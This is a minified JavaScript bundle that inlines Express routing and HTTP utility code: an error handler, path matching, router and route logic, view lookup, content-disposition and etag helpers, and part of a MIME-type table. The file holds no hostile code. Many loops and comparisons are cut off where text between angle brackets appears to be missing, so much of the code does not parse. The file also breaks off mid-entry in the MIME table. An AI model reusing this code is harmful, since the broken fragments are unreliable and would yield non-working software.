-`}H_.exports=SA;function SA(t,e,r){var n=r||{},a=n.env||process.env.NODE_ENV||"development",s=n.onerror;return function(i){var o,c,u;if(!i&&F_(e)){pp("cannot 404 after headers sent");return}if(i?(u=kA(i),u===void 0?u=$A(e):o=EA(i),c=TA(i,u,a)):(u=404,c="Cannot "+t.method+" "+mA(RA(t))),pp("default %s",u),i&&s&&bA(s,i,t,e),F_(e)){pp("cannot %d after headers sent",u),t.socket&&t.socket.destroy();return}PA(t,e,u,o,c)}}function EA(t){if(!(!t.headers||typeof t.headers!="object")){for(var e=Object.create(null),r=Object.keys(t.headers),n=0;n=400&&t.status<600)return t.status;if(typeof t.statusCode=="number"&&t.statusCode>=400&&t.statusCode<600)return t.statusCode}function RA(t){try{return vA.original(t).pathname}catch{return"resource"}}function $A(t){var e=t.statusCode;return(typeof e!="number"||e<400||e>599)&&(e=500),e}function F_(t){return typeof t.headersSent!="boolean"?!!t._header:t.headersSent}function PA(t,e,r,n,a){function s(){var i=wA(a);if(e.statusCode=r,t.httpVersionMajor<2&&(e.statusMessage=U_.message[r]),e.removeHeader("Content-Encoding"),e.removeHeader("Content-Language"),e.removeHeader("Content-Range"),OA(e,n),e.setHeader("Content-Security-Policy","default-src 'none'"),e.setHeader("X-Content-Type-Options","nosniff"),e.setHeader("Content-Type","text/html; charset=utf-8"),e.setHeader("Content-Length",Buffer.byteLength(i,"utf8")),t.method==="HEAD"){e.end();return}e.end(i,"utf8")}if(xA(t)){s();return}gA(t),z_(t,s),t.resume()}function OA(t,e){if(e)for(var r=Object.keys(e),n=0;n{"use strict";Z_.exports=CA;function V_(t,e,r){for(var n=0;n0&&Array.isArray(a)?V_(a,e,r-1):e.push(a)}return e}function W_(t,e){for(var r=0;r{X_.exports=K_;var G_=/\\.|\((?:\?<(.*?)>)?(?!\?)/g;function K_(t,e,r){r=r||{},e=e||[];var n=r.strict,a=r.end!==!1,s=r.sensitive?"":"i",i=r.lookahead!==!1,o=0,c=e.length,u=0,l=0,d=0,f="",m;if(t instanceof RegExp){for(;m=G_.exec(t.source);)m[0][0]!=="\\"&&e.push({name:m[1]||l++,optional:!1,offset:m.index});return t}if(Array.isArray(t))return t=t.map(function(g){return K_(g,e,r).source}),new RegExp(t.join("|"),s);if(typeof t!="string")throw new TypeError("path must be a string, array of strings, or regular expression");for(t=t.replace(/\\.|(\/)?(\.)?:(\w+)(\(.*?\))?(\*)?(\?)?|[.*]|\/\(/g,function(g,b,p,h,y,v,_,S){if(g[0]==="\\")return f+=g,d+=2,g;if(g===".")return f+="\\.",o+=1,d+=1,"\\.";if(b||p?f="":f+=t.slice(d,S),d=S+g.length,g==="*")return o+=3,"(.*)";if(g==="/(")return f+="/",o+=2,"/(?:";b=b||"",p=p?"\\.":"",_=_||"",y=y?y.replace(/\\.|\*/,function(w){return w==="*"?"(.*)":w}):f?"((?:(?!/|"+f+").)+?)":"([^/"+p+"]+?)",e.push({name:h,optional:!!_,offset:S+o});var x="(?:"+p+b+y+(v?"((?:[/"+p+"].+?)?)":"")+")"+_;return o+=x.length-g.length,x});m=G_.exec(t);)m[0][0]!=="\\"&&((c+u===e.length||e[c+u].offset>m.index)&&e.splice(c+u,0,{name:l++,optional:!1,offset:m.index}),u++);return t+=n?"":t[t.length-1]==="/"?"?":"/?",a?t+="$":t[t.length-1]!=="/"&&(t+=i?"(?=/|$)":"(?:/|$)"),new RegExp("^"+t,s)}});var fp=V((bW,Q_)=>{"use strict";var IA=J_(),AA=pr()("express:router:layer"),NA=Object.prototype.hasOwnProperty;Q_.exports=ps;function ps(t,e,r){if(!(this instanceof ps))return new ps(t,e,r);AA("new %o",t);var n=e||{};this.handle=r,this.name=r.name||"",this.params=void 0,this.path=void 0,this.regexp=IA(t,this.keys=[],n),this.regexp.fast_star=t==="*",this.regexp.fast_slash=t==="/"&&n.end===!1}ps.prototype.handle_error=function(e,r,n,a){var s=this.handle;if(s.length!==4)return a(e);try{s(e,r,n,a)}catch(i){a(i)}};ps.prototype.handle_request=function(e,r,n){var a=this.handle;if(a.length>3)return n();try{a(e,r,n)}catch(s){n(s)}};ps.prototype.match=function(e){var r;if(e!=null){if(this.regexp.fast_slash)return this.params={},this.path="",!0;if(this.regexp.fast_star)return this.params={0:Y_(e)},this.path=e,!0;r=this.regexp.exec(e)}if(!r)return this.params=void 0,this.path=void 0,!1;this.params={},this.path=r[0];for(var n=this.keys,a=this.params,s=1;s{"use strict";var eb=require("http");tb.exports=jA()||MA();function jA(){return eb.METHODS&&eb.METHODS.map(function(e){return e.toLowerCase()})}function MA(){return["get","post","put","head","delete","options","trace","copy","lock","mkcol","move","purge","propfind","proppatch","unlock","report","mkactivity","checkout","merge","m-search","notify","subscribe","unsubscribe","patch","search","connect"]}});var mp=V((wW,ob)=>{"use strict";var rb=pr()("express:router:route"),ab=Bi(),nb=fp(),DA=Rc(),sb=Array.prototype.slice,ib=Object.prototype.toString;ob.exports=fs;function fs(t){this.path=t,this.stack=[],rb("new %o",t),this.methods={}}fs.prototype._handles_method=function(e){if(this.methods._all)return!0;var r=typeof e=="string"?e.toLowerCase():e;return r==="head"&&!this.methods.head&&(r="get"),!!this.methods[r]};fs.prototype._options=function(){var e=Object.keys(this.methods);this.methods.get&&!this.methods.head&&e.push("head");for(var r=0;r100)return setImmediate(c,u);var l=s[a++];if(!l)return n(u);l.method&&l.method!==o?c(u):u?l.handle_error(u,e,r,c):l.handle_request(e,r,c),i=0}};fs.prototype.all=function(){for(var e=ab(sb.call(arguments)),r=0;r{cb=ub.exports=function(t,e){if(t&&e)for(var r in e)t[r]=e[r];return t}});var vp=V((SW,fb)=>{"use strict";var qA=mp(),db=fp(),LA=Rc(),hp=Vi(),$c=pr()("express:router"),lb=zr()("express"),FA=Bi(),zA=ds(),UA=yi(),HA=/^\[object (\S+)\]$/,pb=Array.prototype.slice,BA=Object.prototype.toString,sn=fb.exports=function(t){var e=t||{};function r(n,a,s){r.handle(n,a,s)}return UA(r,sn),r.params={},r._params=[],r.caseSensitive=e.caseSensitive,r.mergeParams=e.mergeParams,r.strict=e.strict,r.stack=[],r};sn.param=function(e,r){if(typeof e=="function"){lb("router.param(fn): Refactor to use path params"),this._params.push(e);return}var n=this._params,a=n.length,s;e[0]===":"&&(lb("router.param("+JSON.stringify(e)+", fn): Use router.param("+JSON.stringify(e.slice(1))+", fn) instead"),e=e.slice(1));for(var i=0;i=f.length){setImmediate(b,v);return}if(++u>100)return setImmediate(p,y);var _=WA(e);if(_==null)return b(v);for(var S,x,w;x!==!0&&s=o.length)return s();if(l=0,d=o[c++],u=d.name,f=n.params[u],m=i[u],g=r[u],f===void 0||!m)return b();if(g&&(g.match===f||g.error&&g.error!=="route"))return n.params[u]=g.value,b(g.error);r[u]=g={error:null,match:f,value:f},p()}function p(h){var y=m[l++];if(g.value=n.params[d.name],h){g.error=h,b(h);return}if(!y)return b();try{y(n,a,p,f,d.name)}catch(v){p(v)}}b()};sn.use=function(e){var r=0,n="/";if(typeof e!="function"){for(var a=e;Array.isArray(a)&&a.length!==0;)a=a[0];typeof a!="function"&&(r=1,n=e)}var s=FA(pb.call(arguments,r));if(s.length===0)throw new TypeError("Router.use() requires a middleware function");for(var i=0;i");var o=new db(n,{sensitive:this.caseSensitive,strict:!1,end:!1},e);o.route=void 0,this.stack.push(o)}return this};sn.route=function(e){var r=new qA(e),n=new db(e,{sensitive:this.caseSensitive,strict:this.strict,end:!0},r.dispatch.bind(r));return n.route=r,this.stack.push(n),r};LA.concat("all").forEach(function(t){sn[t]=function(e){var r=this.route(e);return r[t].apply(r,pb.call(arguments,1)),this}});function VA(t,e){for(var r=0;r=0;n--)t[n+a]=t[n],n{"use strict";var mb=yi();hb.init=function(t){return function(r,n,a){t.enabled("x-powered-by")&&n.setHeader("X-Powered-By","Express"),r.res=n,n.req=r,r.next=a,mb(r,t.request),mb(n,t.response),n.locals=n.locals||Object.create(null),a()}}});var gp=V((TW,gb)=>{"use strict";var eN=Vi(),tN=ds(),rN=wc();gb.exports=function(e){var r=eN({},e),n=rN.parse;return typeof e=="function"&&(n=e,r=void 0),r!==void 0&&r.allowPrototypes===void 0&&(r.allowPrototypes=!0),function(s,i,o){if(!s.query){var c=tN(s).query;s.query=n(c,r)}o()}}});var wb=V((kW,xb)=>{"use strict";var Pc=pr()("express:view"),Wi=require("path"),aN=require("fs"),nN=Wi.dirname,bb=Wi.basename,sN=Wi.extname,yb=Wi.join,iN=Wi.resolve;xb.exports=Oc;function Oc(t,e){var r=e||{};if(this.defaultEngine=r.defaultEngine,this.ext=sN(t),this.name=t,this.root=r.root,!this.ext&&!this.defaultEngine)throw new Error("No default engine was specified and no extension was provided.");var n=t;if(this.ext||(this.ext=this.defaultEngine[0]!=="."?"."+this.defaultEngine:this.defaultEngine,n+=this.ext),!r.engines[this.ext]){var a=this.ext.slice(1);Pc('require "%s"',a);var s=require(a).__express;if(typeof s!="function")throw new Error('Module "'+a+'" does not provide a view engine.');r.engines[this.ext]=s}this.engine=r.engines[this.ext],this.path=this.lookup(n)}Oc.prototype.lookup=function(e){var r,n=[].concat(this.root);Pc('lookup "%s"',e);for(var a=0;a{var Cc=require("buffer"),Zr=Cc.Buffer;function Sb(t,e){for(var r in t)e[r]=t[r]}Zr.from&&Zr.alloc&&Zr.allocUnsafe&&Zr.allocUnsafeSlow?Eb.exports=Cc:(Sb(Cc,yp),yp.Buffer=on);function on(t,e,r){return Zr(t,e,r)}on.prototype=Object.create(Zr.prototype);Sb(Zr,on);on.from=function(t,e,r){if(typeof t=="number")throw new TypeError("Argument must not be a number");return Zr(t,e,r)};on.alloc=function(t,e,r){if(typeof t!="number")throw new TypeError("Argument must be a number");var n=Zr(t);return e!==void 0?typeof r=="string"?n.fill(e,r):n.fill(e):n.fill(0),n};on.allocUnsafe=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Zr(t)};on.allocUnsafeSlow=function(t){if(typeof t!="number")throw new TypeError("Argument must be a number");return Cc.SlowBuffer(t)}});var bp=V((RW,_p)=>{"use strict";_p.exports=gN;_p.exports.parse=xN;var Tb=require("path").basename,oN=Ic().Buffer,cN=/[\x00-\x20"'()*,/:;<=>?@[\\\]{}\x7f]/g,uN=/%[0-9A-Fa-f]{2}/,lN=/%([0-9A-Fa-f]{2})/g,Rb=/[^\x20-\x7e\xa0-\xff]/g,dN=/\\([\u0000-\u007f])/g,pN=/([\\"])/g,kb=/;[\x09\x20]*([!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*=[\x09\x20]*("(?:[\x20!\x23-\x5b\x5d-\x7e\x80-\xff]|\\[\x20-\x7e])*"|[!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*/g,fN=/^[\x20-\x7e\x80-\xff]+$/,mN=/^[!#$%&'*+.0-9A-Z^_`a-z|~-]+$/,hN=/^([A-Za-z0-9!#$%&+\-^_`{}~]+)'(?:[A-Za-z]{2,3}(?:-[A-Za-z]{3}){0,3}|[A-Za-z]{4,8}|)'((?:%[0-9A-Fa-f]{2}|[A-Za-z0-9!#$&+.^_`|~-])+)$/,vN=/^([!#$%&'*+.0-9A-Z^_`a-z|~-]+)[\x09\x20]*(?:$|;)/;function gN(t,e){var r=e||{},n=r.type||"attachment",a=yN(t,r.fallback);return _N(new Pb(n,a))}function yN(t,e){if(t!==void 0){var r={};if(typeof t!="string")throw new TypeError("filename must be a string");if(e===void 0&&(e=!0),typeof e!="string"&&typeof e!="boolean")throw new TypeError("fallback must be a string or boolean");if(typeof e=="string"&&Rb.test(e))throw new TypeError("fallback must be ISO-8859-1 string");var n=Tb(t),a=fN.test(n),s=typeof e!="string"?e&&$b(n):Tb(e),i=typeof s=="string"&&s!==n;return(i||!a||uN.test(n))&&(r["filename*"]=n),(a||i)&&(r.filename=i?s:n),r}}function _N(t){var e=t.parameters,r=t.type;if(!r||typeof r!="string"||!mN.test(r))throw new TypeError("invalid type");var n=String(r).toLowerCase();if(e&&typeof e=="object")for(var a,s=Object.keys(e).sort(),i=0;i{"use strict";Ob.exports=PN;var kN=/(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]|%(?:[^0-9A-Fa-f]|[0-9A-Fa-f][^0-9A-Fa-f]|$))+/g,RN=/(^|[^\uD800-\uDBFF])[\uDC00-\uDFFF]|[\uD800-\uDBFF]([^\uDC00-\uDFFF]|$)/g,$N="$1\uFFFD$2";function PN(t){return String(t).replace(RN,$N).replace(kN,encodeURI)}});var xp=V((PW,Nb)=>{"use strict";Nb.exports=IN;var ON=require("crypto"),Ib=require("fs").Stats,Ab=Object.prototype.toString;function CN(t){if(t.length===0)return'"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"';var e=ON.createHash("sha1").update(t,"utf8").digest("base64").substring(0,27),r=typeof t=="string"?Buffer.byteLength(t,"utf8"):t.length;return'"'+r.toString(16)+"-"+e+'"'}function IN(t,e){if(t==null)throw new TypeError("argument entity is required");var r=AN(t),n=e&&typeof e.weak=="boolean"?e.weak:r;if(!r&&typeof t!="string"&&!Buffer.isBuffer(t))throw new TypeError("argument entity must be string, Buffer, or fs.Stats");var a=r?NN(t):CN(t);return n?"W/"+a:a}function AN(t){return typeof Ib=="function"&&t instanceof Ib?!0:t&&typeof t=="object"&&"ctime"in t&&Ab.call(t.ctime)==="[object Date]"&&"mtime"in t&&Ab.call(t.mtime)==="[object Date]"&&"ino"in t&&typeof t.ino=="number"&&"size"in t&&typeof t.size=="number"}function NN(t){var e=t.mtime.getTime().toString(16),r=t.size.toString(16);return'"'+r+"-"+e+'"'}});var wp=V((OW,Mb)=>{"use strict";var jN=/(?:^|,)\s*?no-cache\s*?(?:,|$)/;Mb.exports=MN;function MN(t,e){var r=t["if-modified-since"],n=t["if-none-match"];if(!r&&!n)return!1;var a=t["cache-control"];if(a&&jN.test(a))return!1;if(n&&n!=="*"){var s=e.etag;if(!s)return!1;for(var i=!0,o=DN(n),c=0;c{qN.exports={"application/andrew-inset":["ez"],"application/applixware":["aw"],"application/atom+xml":["atom"],"application/atomcat+xml":["atomcat"],"application/atomsvc+xml":["atomsvc"],"application/bdoc":["bdoc"],"application/ccxml+xml":["ccxml"],"application/cdmi-capability":["cdmia"],"application/cdmi-container":["cdmic"],"application/cdmi-domain":["cdmid"],"application/cdmi-object":["cdmio"],"application/cdmi-queue":["cdmiq"],"application/cu-seeme":["cu"],"application/dash+xml":["mpd"],"application/davmount+xml":["davmount"],"application/docbook+xml":["dbk"],"application/dssc+der":["dssc"],"application/dssc+xml":["xdssc"],"application/ecmascript":["ecma"],"application/emma+xml":["emma"],"application/epub+zip":["epub"],"application/exi":["exi"],"application/font-tdpfr":["pfr"],"application/font-woff":[],"application/font-woff2":[],"application/geo+json":["geojson"],"application/gml+xml":["gml"],"application/gpx+xml":["gpx"],"application/gxf":["gxf"],"application/gzip":["gz"],"application/hyperstudio":["stk"],"application/inkml+xml":["ink","inkml"],"application/ipfix":["ipfix"],"application/java-archive":["jar","war","ear"],"application/java-serialized-object":["ser"],"application/java-vm":["class"],"application/javascript":["js","mjs"],"application/json":["json","map"],"application/json5":["json5"],"application/jsonml+json":["jsonml"],"application/ld+json":["jsonld"],"application/lost+xml":["lostxml"],"application/mac-binhex40":["hqx"],"application/mac-compactpro":["cpt"],"application/mads+xml":["mads"],"application/manifest+json":["webmanifest"],"application/marc":["mrc"],"application/marcxml+xml":["mrcx"],"application/mathematica":["ma","nb","mb"],"application/mathml+xml":["mathml"],"application/mbox":["mbox"],"application/mediaservercontrol+xml":["mscml"],"application/metalink+xml":["metalink"],"application/metalink4+xml":["meta4"],"application/mets+xml":["mets"],"application/mods+xml":["mods"],"application/mp21":["m21","mp21"],"application/mp4":["mp4s","m4p"],"application/msword":["doc","dot"],"application/mxf":["mxf"],"application/octet-stream":["bin","dms","lrf","mar","so","dist","distz","pkg","bpk","dump","elc","deploy","exe","dll","deb","dmg","iso","img","msi","msp","msm","buffer"],"application/oda":["oda"],"application/oebps-package+xml":["opf"],"application/ogg":["ogx"],"application/omdoc+xml":["omdoc"],"application/onenote":["onetoc","onetoc2","onetmp","onepkg"],"application/oxps":["oxps"],"application/patch-ops-error+xml":["xer"],"application/pdf":["pdf"],"application/pgp-encrypted":["pgp"],"application/pgp-signature":["asc","sig"],"application/pics-rules":["prf"],"application/pkcs10":["p10"],"application/pkcs7-mime":["p7m","p7c"],"application/pkcs7-signature":["p7s"],"application/pkcs8":["p8"],"application/pkix-attr-cert":["ac"],"application/pkix-cert":["cer"],"application/pkix-crl":["crl"],"application/pkix-pkipath":["pkipath"],"application/pkixcmp":["pki"],"application/pls+xml":["pls"],"application/postscript":["ai","eps","ps"],"application/prs.cww":["cww"],"application/pskc+xml":["pskcxml"],"application/raml+yaml":["raml"],"application/rdf+xml":["rdf"],"application/reginfo+xml":["rif"],"application/relax-ng-compact-syntax":["rnc"],"application/resource-lists+xml":["rl"],"application/resource-lists-diff+xml":["rld"],"application/rls-services+xml":["rs"],"application/rpki-ghostbusters":["gbr"],"application/rpki-manifest":["mft"],"application/rpki-roa":["roa"],"application/rsd+xml":["rsd"],"application/rss+xml":["rss"],"application/rtf":["rtf"],"application/sbml+xml":["sbml"],"application/scvp-cv-request":["scq"],"application/scvp-cv-response":["scs"],"application/scvp-vp-request":["spq"],"application/scvp-vp-response":["spp"],"application/sdp":["sdp"],"application/set-payment-initiation":["setpay"],"application/set-registration-initiation":["setreg"],"application/shf+xml":["shf"],"application/smil+xml":["smi","smil"],"application/sparql-query":["rq"],"application/sparql-results+xml":["srx"],"application/srgs":["gram"],"application/srgs+xml":["grxml"],"application/sru+xml":["sru"],"application/ssdl+xml":["ssdl"],"application/ssml+xml":["ssml"],"application/tei+xml":["tei","teicorpus"],"application/thraud+xml":["tfi"],"application/timestamped-data":["tsd"],"application/vnd.3gpp.pic-bw-large":["plb"],"application/vnd.3gpp.pic-bw-small":["psb"],"application/vnd.3gpp.pic-bw-var":["pvb"],"application/vnd.3gpp2.tcap":["tcap"],"application/vnd.3m.post-it-notes":["pwn"],"application/vnd.accpac.simply.aso":["aso"],"application/vnd.accpac.simply.imp":["imp"],"application/vnd.acucobol":["acu"],"application/vnd.acucorp":["atc","acutc"],"application/vnd.adobe.air-application-installer-package+zip":["air"],"application/vnd.adobe.formscentral.fcdt":["fcdt"],"application/vnd.adobe.fxp":["fxp","fxpl"],"application/vnd.adobe.xdp+xml":["xdp"],"application/vnd.adobe.xfdf":["xfdf"],"application/vnd.ahead.space":["ahead"],"application/vnd.airzip.filesecure.azf":["azf"],"application/vnd.airzip.filesecure.azs":["azs"],"application/vnd.amazon.ebook":["azw"],"application/vnd.americandynamics.acc":["acc"],"application/vnd.amiga.ami":["ami"],"application/vnd.android.package-archive":["apk"],"application/vnd.anser-web-certificate-issue-initiation":["cii"],"application/vnd.anser-web-funds-transfer-initiation":["fti"],"application/vnd.antix.game-component":["atx"],"application/vnd.apple.installer+xml":["mpkg"],"application/vnd.apple.mpegurl":["m3u8"],"application/vnd.apple.pkpass":["pkpass"],"application/vnd.aristanetworks.swi":["swi"],"application/vnd.astraea-software.iota":["iota"],"application/vnd.audiograph":["aep"],"application/vnd.blueice.multipass":["mpm"],"application/vnd.bmi":["bmi"],"application/vnd.businessobjects":["rep"],"application/vnd.chemdraw+xml":["cdxml"],"application/vnd.chipnuts.karaoke-mmd":["mmd"],"application/vnd.cinderella":["cdy"],"application/vnd.claymore":["cla"],"application/vnd.cloanto.rp9":["rp9"],"application/vnd.clonk.c4group":["c4g","c4d","c4f","c4p","c4u"],"application/vnd.cluetrust.cartomobile-config":["c11amc"],"application/vnd.cluetrust.cartomobile-config-pkg":["c11amz"],"application/vnd.commonspace":["csp"],"application/vnd.contact.cmsg":["cdbcmsg"],"application/vnd.cosmocaller":["cmc"],"application/vnd.crick.clicker":["clkx"],"application/vnd.crick.clicker.keyboard":["clkk"],"application/vnd.crick.clicker.palette":["clkp"],"application/vnd.crick.clicker.template":["clkt"],"application/vnd.crick.clicker.wordbank":["clkw"],"application/vnd.criticaltools.wbs+xml":["wbs"],"application/vnd.ctc-posml":["pml"],"application/vnd.cups-ppd":["ppd"],"application/vnd.curl.car":["car"],"application/vnd.curl.pcurl":["pcurl"],"application/vnd.dart":["dart"],"application/vnd.data-vision.rdz":["rdz"],"application/vnd.dece.data":["uvf","uvvf","uvd","uvvd"],"application/vnd.dece.ttml+xml":["uvt","uvvt"],"application/vnd.dece.unspecified":["uvx","uvvx"],"application/vnd.dece.zip":["uvz","uvvz"],"application/vnd.denovo.fcselayout-link":["fe_launch"],"application/vnd.dna":["dna"],"application/vnd.dolby.mlp":["mlp"],"application/vnd.dpgraph":["dpg"],"application/vnd.dreamfactory":["dfac"],"application/vnd.ds-keypoint":["kpxx"],"application/vnd.dvb.ait":["ait"],"application/vnd.dvb.service":["svc"],"application/vnd.dynageo":["geo"],"application/vnd.ecowin.chart":["mag"],"application/vnd.enliven":["nml"],"application/vnd.epson.esf":["esf"],"application/vnd.epson.msf":["msf"],"application/vnd.epson.quickanime":["qam"],"application/vnd.epson.salt":["slt"],"application/vnd.epson.ssf":["ssf"],"application/vnd.eszigno3+xml":["es3","et3"],"application/vnd.ezpix-album":["ez2"],"application/vnd.ezpix-package":["ez3"],"application/vnd.fdf":["fdf"],"application/vnd.fdsn.mseed":["mseed"],"application/vnd.fdsn.seed":["seed","dataless"],"application/vnd.flographit":["gph"],"application/vnd.fluxtime.clip":["ftc"],"application/vnd.framemaker":["fm","frame","maker","book"],"application/vnd.frogans.fnc":["fnc"],"application/vnd.frogans.ltf":["ltf"],"application/vnd.fsc.weblaunch":["fsc"],"application/vnd.fujitsu.oasys":["oas"],"application/vnd.fujitsu.oasys2":["oa2"],"application/vnd.fujitsu.oasys3":["oa3"],"application/vnd.fujitsu.oasysgp":["fg5"],"application/vnd.fujitsu.oasysprs":["bh2"],"application/vnd.fujixerox.ddd":["ddd"],"application/vnd.fujixerox.docuworks":["xdw"],"application/vnd.fujixerox.docuworks.binder":["xbd"],"application/vnd.fuzzysheet":["fzs"],"application/vnd.genomatix.tuxedo":["txd"],"application/vnd.geogebra.file":["ggb"],"application/vnd.geogebra.tool":["ggt"],"application/vnd.geometry-explorer":["gex","gre"],"application/vnd.geonext":["gxt"],"application/vnd.geoplan":["g2w"],"application/vnd.geospace":["g3w"],"application/vnd.gmx":["gmx"],"application/vnd.google-apps.document":["gdoc"],"application/vnd.google-apps.presentation":["gslides"],"application/vnd.google-apps.spreadsheet":["gsheet"],"application/vnd.google-earth.kml+xml":["kml"],"application/vnd.google-earth.kmz":["kmz"],"application/vnd.grafeq":["gqf","gqs"],"application/vnd.groove-account":["gac"],"application/vnd.groove-help":["ghf"],"application/vnd.groove-identity-message":["gim"],"application/vnd.groove-injector":["grv"],"application/vnd.groove-tool-message":["gtm"],"application/vnd.groove-tool-template":["tpl"],"application/vnd.groove-vcard":["vcg"],"application/vnd.hal+xml":["hal"],"application/vnd.handheld-entertainment+xml":["zmm"],"application/vnd.hbci":["hbci"],"application/vnd.hhe.lesson-player":["les"],"application/vnd.hp-hpgl":["hpgl"],"application/vnd.hp-hpid":["hpid"],"application/vnd.hp-hps":["hps"],"application/vnd.hp-jlyt":["jlt"],"application/vnd.hp-pcl":["pcl"],"application/vnd.hp-pclxl":["pclxl"],"application/vnd.hydrostatix.sof-data":["sfd-hdstx"],"application/vnd.ibm.minipay":["mpy"],"application/vnd.ibm.modcap":["afp","listafp","list3820"],"application/vnd.ibm.rights-management":["irm"],"application/vnd.ibm.secure-container":["sc"],"application/vnd.iccprofile":["icc","icm"],"application/vnd.igloader":["igl"],"application/vnd.immervision-ivp":["ivp"],"application/vnd.immervision-ivu":["ivu"],"application/vnd.insors.igm":["igm"],"application/vnd.intercon.formnet":["xpw","xpx"],"application/vnd.intergeo":["i2g"],"application/vnd.intu.qbo":["qbo"],"application/vnd.intu.qfx":["qfx"],"application/vnd.ipunplugged.rcprofile":["rcprofile"],"application/vnd.irepository.package+xml":["irp"],"application/vnd.is-xpr":["xpr"],"application/vnd.isac.fcs":["fcs"],"application/vnd.jam":["jam"],"application/vnd.jcp.javame.midlet-rms":["rms"],"application/vnd.jisp":["jisp"],"application/vnd.joost.joda-archive":["joda"],"application/vnd.kahootz":["ktz","ktr"],"application/vnd.kde.karbon":["karbon"],"application/vnd.kde.kchart":["chrt"],"application/vnd.kde.kformula":["kfo"],"application/vnd.kde.kivio":["flw"],"application/vnd.kde.kontour":["kon"],"application/vnd.kde.kpresenter":["kpr","kpt"],"application/vnd.kde.kspread":["ksp"],"application/vnd.kde.kword":["kwd","kwt"],"application/vnd.kenameaapp":["htke"],"application/vnd.kidspiration":["kia"],"application/vnd.kinar":["kne","knp"],"application/vnd.koan":["skp","skd","skt","skm"],"application/vnd.kodak-descriptor":["sse"],"application/vnd.las.las+xml":["lasxml"],"application/vnd.llamagraphics.life-balance.desktop":["lbd"],"application/vnd.llamagraphics.life-balance.exchange+xml":["lbe"],"application/vnd.lotus-1-2-3":["123"],"application/vnd.lotus-approach":["apr"],"application/vnd.lotus-freelance":["pre"],"application/vnd.lotus-notes":["nsf"],"application/vnd.lotus-organizer":["org"],"application/vnd.lotus-screencam":["scm"],"application/vnd.lotus-wordpro":["lwp"],"application/vnd.macports.portpkg":["portpkg"],"application/vnd.mcd":["mcd"],"application/vnd.medcalcdata":["mc1"],"application/vnd.mediastation.cdkey":["cdkey"],"application/vnd.mfer":["mwf"],"application/vnd.mfmp":["mfm"],"application/vnd.micrografx.flo":["flo"],"application/vnd.micrografx.igx":["igx"],"application/vnd.mif":["mif"],"application/vnd.mobius.daf":["daf"],"application/vnd.mobius.dis":["dis"],"application/vnd.mobius.mbk":["mbk"],"application/vnd.mobius.mqy":["mqy"],"application/vnd.mobius.msl":["msl"],"application/vnd.mobius.plc":["plc"],"application/vnd.mobius.txf":["txf"],"application/vnd.mophun.application":["mpn"],"application/vnd.mophun.certificate":["mpc"],"application/vnd.mozilla.xul+xml":["xul"],"application/vnd.ms-artgalry":["cil"],"application/vnd.ms-cab-compressed":["cab"],"application/vnd.ms-excel":["xls","xlm","xla","xlc","xlt","xlw"],"application/vnd.ms-excel.addin.macroenabled.12":["xlam"],"application/vnd.ms-excel.sheet.binary.macroenabled.12":["xlsb"],"application/vnd.ms-excel.sheet.macroenabled.12":["xlsm"],"application/vnd.ms-excel.template.macroenabled.12":["xltm"],"application/vnd.ms-fontobject":["eot"],"application/vnd.ms-htmlhelp":["chm"],"application/vnd.ms-ims":["ims"],"application/vnd.ms-lrm":["lrm"],"application/vnd.ms-officetheme":["thmx"],"application/vnd.ms-outlook":["msg"],"application/vnd.ms-pki.seccat":["cat"],"application/vnd.ms-pki.stl":["stl"],"application/vnd.ms-powerpoint":["ppt","pps","pot"],"application/vnd.ms-powerpoint.addin.macroenabled.12":["ppam"],"application/vnd.ms-powerpoint.presentation.macroenabled.12":["pptm"],"application/vnd.ms-powerpoint.slide.macroenabled.12":["sldm"],"application/vnd.ms-powerpoint.slideshow.macroenabled.12":["ppsm"],"application/vnd.ms-powerpoint.template.macroenabled.12":["potm"],"application/vnd.ms-project":["mpp","mpt"],"application/vnd.ms-word.document.macroenabled.12":["docm"],"application/vnd.ms-word.template.macroenabled.12":["dotm"],"application/vnd.ms-works":["wps","wks","wcm","wdb"],"application/vnd.ms-wpl":["wpl"],"application/vnd.ms-xpsdocument":["xps"],"application/vnd.mseq":["mseq"],"application/vnd.musician":["mus"],"application/vnd.muvee.style":["msty"],"application/vnd.mynfc":["taglet"],"application/vnd.neurolanguage.nlu":["nlu"],"application/vnd.nitf":["ntf","nitf"],"application/vnd.noblenet-directory":["nnd"],"application/vnd.noblenet-sealer":["nns"],"application/vnd.noblenet-web":["nnw"],"application/vnd.nokia.n-gage.data":["ngdat"],"application/vnd.nokia.n-gage.symbian.install":["n-gage"],"application/vnd.nokia.radio-preset":["rpst"],"application/vnd.nokia.radio-presets":["rpss"],"application/vnd.novadigm.edm":["edm"],"application/vnd.novadigm.edx":["edx"],"application/vnd.novadigm.ext":["ext"],"application/vnd.oasis.opendocument.chart":["odc"],"application/vnd.oasis.opendocument.chart-template":["otc"],"application/vnd.oasis.opendocument.database":["odb"],"application/vnd.oasis.opendocument.formula":["odf"],"application/vnd.oasis.opendocument.formula-template":["odft"],"application/vnd.oasis.opendocument.graphics":["odg"],"application/vnd.oasis.opendocument.graphics-template":["otg"],"application/vnd.oasis.opendocument.image":["odi"],"application/vnd.oasis.opendocument.image-template":["oti"],"application/vnd.oasis.opendocument.presentation":["odp"],"application/vnd.oasis.opendocument.presentation-template":["otp"],"application/vnd.oasis.opendocument.spreadsheet":["ods"],"application/vnd.oasis.opendocument.spreadsheet-template":["ots"],"application/vnd.oasis.opendocument.text":["odt"],"application/vnd.oasis.opendocument.text-master":["odm"],"application/vnd.oasis.opendocument.text-template":["ott"],"application/vnd.oasis.opendocument.text-web":["oth"],"application/vnd.olpc-sugar":["xo"],"application/vnd.oma.dd2+xml":["dd2"],"application/vnd.openofficeorg.extension":["oxt"],"application/vnd.openxmlformats-officedocument.presentationml.presentation":["pptx"],"application/vnd.openxmlformats-officedocument.presentationml.slide":["sldx"],"application/vnd.openxmlformats-officedocument.presentationml.slideshow":["ppsx"],"application/vnd.openxmlformats-officedocument.presentationml.template":["potx"],"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":["xlsx"],"application/vnd.openxmlformats-officedocument.spreadsheetml.template":["xltx"],"application/vnd.openxmlformats-officedocument.wordprocessingml.document":["docx"],"application/vnd.openxmlformats-officedocument.wordprocessingml.template":["dotx"],"application/vnd.osgeo.mapguide.package":["mgp"],"application/vnd.osgi.dp":["dp"],"application/vnd.